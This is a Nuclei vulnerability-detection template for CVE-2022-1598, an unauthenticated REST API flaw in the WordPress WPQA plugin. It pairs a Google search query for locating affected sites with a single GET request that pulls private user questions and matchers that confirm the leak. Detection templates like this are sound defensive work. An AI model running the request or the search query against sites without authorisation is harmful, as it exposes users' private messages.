id: CVE-2022-1598 info: name: WordPress WPQA <5.5 - Improper Access Control author: veshraj severity: medium description: | WordPress WPQA plugin before 5.5 is susceptible to improper access control. The plugin lacks authentication in a REST API endpoint. An attacker can potentially discover private questions sent between users on the site. remediation: | Update the WPQA plugin to version 5.5 or later to fix the improper access control issue. reference: - https://wpscan.com/vulnerability/0416ae2f-5670-4080-a88d-3484bb19d8c8 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1598 - https://nvd.nist.gov/vuln/detail/CVE-2022-1598 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2022-1598 cwe-id: CWE-306 epss-score: 0.01969 epss-percentile: 0.87433 cpe: cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: 2code product: wpqa_builder framework: wordpress google-query: inurl:/wp-content/plugins/wpqa tags: cve,cve2022,wordpress,wp-plugin,wpqa,idor,wpscan http: - method: GET path: - '{{BaseURL}}/wp-json/wp/v2/asked-question' matchers-condition: and matchers: - type: word part: body words: - '"id":' - '"rendered":' condition: and - type: status status: - 200 # digest: 4a0a00473045022100c18e6aa62e8f324f7f19c5a9478b73f65ac61aaa5a0d2dd8414f3b8b7f2c630d022042f2e6fa7f75e80f9a04e52e31b6b74a797f9d69c231e39efb8d69ed61623574:922c64590222798bb761d5b6d8e72950